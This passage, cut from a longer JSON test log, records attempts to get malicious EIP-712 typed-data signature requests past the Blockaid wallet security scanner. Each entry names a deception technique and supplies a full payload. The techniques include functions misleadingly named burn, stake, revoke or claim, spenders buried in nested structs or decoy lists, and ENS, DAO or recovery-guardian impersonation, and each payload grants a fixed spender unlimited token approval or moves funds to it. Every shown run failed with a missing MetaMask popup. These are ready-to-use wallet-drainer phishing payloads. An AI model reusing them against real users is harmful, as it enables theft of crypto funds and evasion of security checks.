Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T19:12:57.118Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T19:13:06.660Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T19:13:16.220Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T19:13:25.778Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T19:13:35.344Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN59-EIP3009-022", "timestamp": "2026-01-31T19:13:44.898Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x3f17ff6afaadf688a370ea4f7092dc999e0761fd55a5dddc4a912e7b6137b997\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN59-EIP3009-054", "timestamp": "2026-01-31T19:13:54.442Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x9d1a5f2d221fbac203fbe47c72425fd23ce5cd5ccef00a63f457d6288c30c4cf\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:14:03.990Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:14:13.557Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:14:23.100Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:14:32.662Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T19:14:42.204Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T19:14:51.754Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T19:15:01.303Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T19:15:10.868Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T19:15:20.413Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T19:15:29.978Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T19:15:39.515Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T19:15:49.084Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T19:15:58.651Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi 